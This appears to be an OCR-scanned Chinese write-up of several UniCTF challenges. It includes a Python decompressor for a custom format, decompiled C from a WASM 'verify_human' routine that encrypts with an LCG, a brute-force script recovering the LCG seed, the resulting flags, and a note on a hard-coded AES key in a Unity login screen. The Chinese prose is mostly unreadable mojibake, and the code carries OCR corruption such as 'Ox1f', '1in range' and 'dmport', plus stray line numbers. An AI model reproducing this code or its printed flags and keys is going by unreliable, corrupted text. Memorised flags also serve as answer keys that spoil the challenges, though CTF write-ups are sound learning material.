+ -+ -+ -+ — + — + — + — + — + + -+ -+ -+ — + — + — + — + — +

\ /\ /\

PREAL BT KE (M§i%bytesHIATER) B KE
A XERE/0x100

BREXNMNFEKBEERIEEMABITSUAEREE, FTEERRE 7 AKRESEASC
TEE—THBESENET

EGIR

O 0 N o 0 b~ W NP

o S S S S
o 0 A W N B O

decompressed = bytearray()

compressed = bytearray(open('outl.z', 'rb').read())

while compressed:
byte = compressed.pop(0)
if byte & 0x80:
byte2 = compressed.pop(0)
seek_fore = ((byte&Ox1f)<<4) | ((byte2&oxf0)>>4)
repeat = byte2&0Oxf
for _ 1in range(repeat):
decompressed. append(decompressed[-seek_fore])
else:

decompressed.append (byte)

open('outl.txt"', 'w').write(decompressed.decode())

/



FRESflagByJLMASCIIZ R T

unictf{miaoyunmengzip}

flag

{REAZNE? [done]

LAY

IDA, ELDEINE

Vb

f& gcc -02 -shared #

IR
PALNY

WASMi¥[E), %t wasm2c

—ig

(ASEEZS

#include <math.h>

1

#include <stdint.h>

typedef struct {

4

void* memory_ptr;

} Context

.
5

6

(double value, 1int shift, int bits) {

if (value <= -1.0) {

static uint64_t encode_double_to_bits

9
10

return 0;
if (value >= 1.844674407370955e19) {

11
12
13
14

15
16
17
18

return ((1ULL << bits) - 1) << shift;



19
20
21
22
23
24
25
26
27
28
29
30
31

32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

int64_t int_valu

if (value >= 9.2
// RIEEET 21
int_value =
int_value A=

} else {
int_value =

return ((uint64_

int64_t verify_human
sample_count) {

e;

23372036854776e18) { // ##id2/63
630915 .5T

(int64_t) (value - 9.223372036854776€18);
0x8000000000000000ULL; // WEFE

(int64_t)value;

t)int_value << shift) & (((1ULL << bits) - 1) << shift);

(Contextx ctx, int start_idxl, int start_idx2, 1int

/) BERE: FEEBHIFER

if (sample_count
return 1070;

uint8_tx memory
uint32_t* data =

// FItZEENIENE
double sum_diff1l
double sum_diff2
double sum_sq_di
double sum_sq_di
double sum_vecto

// ITEREE
int offsetl
int offset2

st
(s

double prev_diffl

double prev_diff

<= 49) {
/) (XEFEEHIZError: Data too short.)

= (uint8_t*)ctx->memory_ptr;
(uint32_tx) (memory + start_idxl * 4); // BL4FTX17F

0.0;
0.0,
ffl_change = 0.0;
ff2_change = 0.0;
r_magnitude = 0.0;

art_idx2 - start_idxl; /) B—AHERNEE

tart_idx2 - 4) - start_idxl; // B_AHENHEZE
= 0.0;

2 = 0.0;

/) EBH: REGHEFER

for (int i = 0;

i < sample_count; i++) {

// TR HBIRBIES

int idx = st
/) B—HES

double diffi

/) B_HES
double diff2

art_didxl + 4 + i x 4; // FF[ItE

. data[i] - data[i-1]
= (double) (*x(uint32_t*x) (memory + idx) -
*(uint32_t*) (memory + idx - 4));

. data[i+offsetl] - data[i+offset2]
= (double) (*x(uint32_t*x) (memory + idx + offsetl x 4) -



65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
20
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111

*(uint32_t*) (memory + didx + offset2 * 4));

/) TEERTW
double diffl_change
double diff2_change

diffl - prev_diffi;
diff2 - prev_diff2;

/) BHEITE
sum_sq_diffl_change += diffl_change * diffl_change;
sum_sq_diff2_change += diff2_change * diff2_change;

// ItEAEEE (K1 EFEE)
double magnitude = sqrt(diff2 * diff2 + diffi = diffl);

sum_vector_magnitude += magnitude;

// RIFSBIER XA EH
prev_diffl = diffl;
prev_diff2 = diff2;

// EFE

double avg_magnitude = sum_vector_magnitude / sample_count;

// HIGIFE(EZ 64/ 222

uint64_t encoded_value = 0;

// S FEINEEE32-4 711
encoded_value |= encode_double_to_bits(avg_magnitude, 32, 16);

// YwtBET 8] & C1EFF)48-6311
double time_window_factor = 0.16 * sample_count;
encoded_value |= encode_double_to_bits(time_window_factor, 48, 16);

/) BB _AER T E (25E) F16-311U
double variance2 = 2.0 * sum_sq_diff2_change / sample_count;
encoded_value |= encode_double_to_bits(variance2, 16, 16);

/) HFEBE—HERTHFZE (215E) Flo-1511
double variancel = 2.0 * sum_sq_diffl_change / sample_count;
encoded_value |= encode_double_to_bits(variancel, 0, 16);

// LCGEE
const uint64_t lcg_multiplier = 0x5851F42D4C957F2DULL;
const uint64_t lcg_increment = 0x14057B7TEF767814FULL;

// TERLCCERLIIREN 2 A7
uint64_t lcg_state = encoded_value;
for (int 1 = 1024; i < 1070; 1i++) {



112
113
114
115
116
117
118
119
120
121
122
123
124

/) BRLCGIAE

lcg_state = lcg_state * lcg_multiplier + lcg_increment;

/) BRESIIHAIT R EE
uint8_t random_byte = (lcg_state >> 56) & OxFF;
memory[i + 80] = random_byte " memory[il; // memory+102477HT25 52

/) RELRILFF
memory[1150] = 0;

return 1104; // B0  (HAFE, memory+110415[AF30)/E X AHIFFL)

BAFHERIEX AR AL (UniCTF) , MIZBEXFRFHMA USEILCCGRIRI/L NS, ARME
F 2 MHEE/ME B X F A &

seed, %

R

const resultPtr = Module.ccall(
"verify human’,
"number’,
[ ‘number®, "number', "number'],
[xPtr, yPtr, len]
)3
const resultsStr = Module.UTF8ToString(resultpPtr);
statusEl.innerText = resultsStr;

it (resultstr.startswith("unicTr™)) {

statusel.style.color = "green”;
} else {
statuskl.style.color = "red”;

}

Rbifkcrypto, WA T —TAERCryF, RIHEIGE, FIRK

(ASEEZS

1

N~ oo o b

import math

encrypted =
b"\xb81d\x0eT\xcfe\x02Ks\xddW\xe6\xcdEcch,V\xel\x89\x86\xac\xc32\x0a\x07\xf3wf\
xb1\xb7\xad2\xf2\xd5d\xd3\xcb\x5cE\x99\xc2\x89\x92"

know_head = b'UniCTF'

LCG_A
LCG_B

Ox5851F42D4C957F2D
Ox14057B7EF767814F



8 LCG_M = 1 << 64

10  outputs = [a”b for a, b in zip(encrypted, know_head)]

11

12 def check(xQ):

13 X = x0

14 for right in outputs:

15 x = (LCG_A * x + LCG_B) % LCG_M

16 if right != (x>>56)&0xff:

17 print(f' {(x>>56)&0xff:>3} != {right:>3}', end='")
18 return False

19 return True

20

21 def generate(s, n):

22 if n==1:

23 yield s

24 return

25 for i in range(s+l):

26 yield from [(g<<16) + i for g in generate(s-i, n-1)]
27

28 for s in range(0x100):

29 total = math.comb(s+3, 3)

30 count = 0

31 for num in generate(s, 4):

32 print(f'{s:x}|{num:0>16x}"', end="'")

33 if check(num):

34 print(f'\n\n{num:0>16x}"', 'is ok!!!")

35 input('Press enter to continue...')

36 count += 1

37 print(f' [{"="*int(count/total*60):<60}] {count/total:.2%}')

BYRA, BFETER

a5 | pe16eeedess8002a 82 != 237 ] 58.98%
a5 |ee15e00e0058002a 31 != 237 ] 58.98%
a5 | pe14000fee58002a

e014000f0058002a is ok!!!
Press enter to continue...D

(ASEEZS

1 solve = 0x0014000f0058002a

encrypted =
b"\xb81d\x0eT\xcfe\x02Ks\xddwW\xe6\xcdEccb,V\xel\x89\x86\xac\xc32\x0a\x07\xf3wf\
xb1\xb7\xad2\xf2\xd5d\xd3\xcb\x5cE\x99\xc2\x89\x92"

4 know_head = b'UniCTF{'



5 know_tail = b'}'
6
7 LCG_A = 0x5851F42D4C957F2D
8 LCG_B = Ox14057B7EF767814F
9
10 state = solve
11 for source, known in zip(encrypted, list(know_head) + [None]x(len(encrypted)-
len(know_head)-len(know_tail)) + Llist(know_tail)):
12 state = (LCG_Axstate+LCG_B)&Oxffffffffffffffff
13 if known:
14 assert (state>>56) == source’known, f'{state>>56}!={source’known}'
15
16 print('passed!"')
17
18 answer = []
19 state = solve
20  for enc in encrypted:
21 state = (LCG_Axstate+LCG_B)&Oxffffffffffffffff
22 answer .append(chr ((state>>56)"enc))
23
24 answer = ''.join(answer)
25
26  print('decoded:', answer)
27 s = (solve>>48) + ((solve>>32)&Oxffff) + ((solve>>16)&Oxffff) + (solve&Oxffff)
28 print('sum:', s)
29
30  dmport hashlib
31 print(f'flag: UniCTF{{{hashlib.md5(f'{answer}
{s}'.encode()) .hexdigest().lower()}}}")
32
RENE, &flag
passed!
decoded: UniCTF{Humd4n_Errer_1s_The Tru3_P4sswlrd_8x92a}
sum: 165
flag: UniCTF{32f9b4c728f42db8ecded631cc950495}
ﬂag: UniCTF{32f9b4c728f42db8ecd6d631cc950495}
catPWD[{¥5emK]

ERUnity IL2CPPi¥[E, —HFMERR



RIBERANFIETE LoginController.OnLoginButtonClick

v1le = Aes256 ctor(-;, Strlnngteral 8828), // aeskey1234567899
if (v )
goto LABEL_15;
v11 = Aes256__ _Encrypt(v9, v6);
v1l2 = Aes256__Encrypt(v9, v5);

vi2, @LL);// qq
vll, OLL);// password

SetString(StringlLiteral_10184,
SetString(StringlLiteral_lee9e,

UnityEngine_PlayerPrefs__
UnityEngine_PlayerPrefs__

BB ERqqiZEER PlayerPrefs 2, 2K, FHEMUEN /data/data/B

£ /shard_prefs/8%&.xml
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